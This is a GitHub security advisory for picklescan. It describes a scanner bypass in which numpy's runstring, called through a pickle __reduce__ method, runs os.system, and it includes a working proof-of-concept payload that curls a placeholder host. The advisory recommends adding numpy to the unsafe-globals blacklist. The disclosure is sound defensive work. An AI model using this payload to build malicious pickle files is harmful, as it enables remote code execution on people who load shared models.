GHSA-FJ43-3QMQ-673F
Vulnerability from github – Published: 2025-04-07 18:54 – Updated: 2025-04-07 18:54Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.
Details
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.
The attack payload executes in the following steps: - First, the attacker craft the payload by import runstring function in numpy.testing._private.utils - Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. - Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
def __reduce__(self):
from numpy.testing._private.utils import runstring
return runstring, ("import os; os.system('curl https://example.com')",{})
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
def load_payload():
result = scan_file_path('payload.pickle')
if result.infected_files != 0 or result.scan_err:
print('File is infected')
else:
print('File is clean')
with open('payload.pickle', 'rb') as f:
pickle.load(f)
create_payload()
load_payload()
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Recommended Fixes:
I suggest adding Numpy library to the unsafe globals blacklist.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-07T18:54:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nAn unsafe deserialization vulnerability in Python\u2019s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.\n### Details\nPickle\u2019s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn\u0027t inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n- First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils**\n- Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\n- Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport torch\nimport pickle\nfrom picklescan.scanner import scan_file_path\nclass Payload:\n def __reduce__(self):\n from numpy.testing._private.utils import runstring\n return runstring, (\"import os; os.system(\u0027curl https://example.com\u0027)\",{})\n \ndef create_payload():\n with open(\u0027payload.pickle\u0027, \u0027wb\u0027) as f:\n pickle.dump(Payload(), f)\n\ndef load_payload():\n result = scan_file_path(\u0027payload.pickle\u0027)\n if result.infected_files != 0 or result.scan_err:\n print(\u0027File is infected\u0027)\n else:\n print(\u0027File is clean\u0027)\n with open(\u0027payload.pickle\u0027, \u0027rb\u0027) as f:\n pickle.load(f)\n\ncreate_payload() \nload_payload()\n\n```\n\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Recommended Fixes:\n\nI suggest adding Numpy library to the unsafe globals blacklist.",
"id": "GHSA-fj43-3qmq-673f",
"modified": "2025-04-07T18:54:05Z",
"published": "2025-04-07T18:54:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fj43-3qmq-673f"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Picklescan failed to detect to some unsafe global function in Numpy library"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.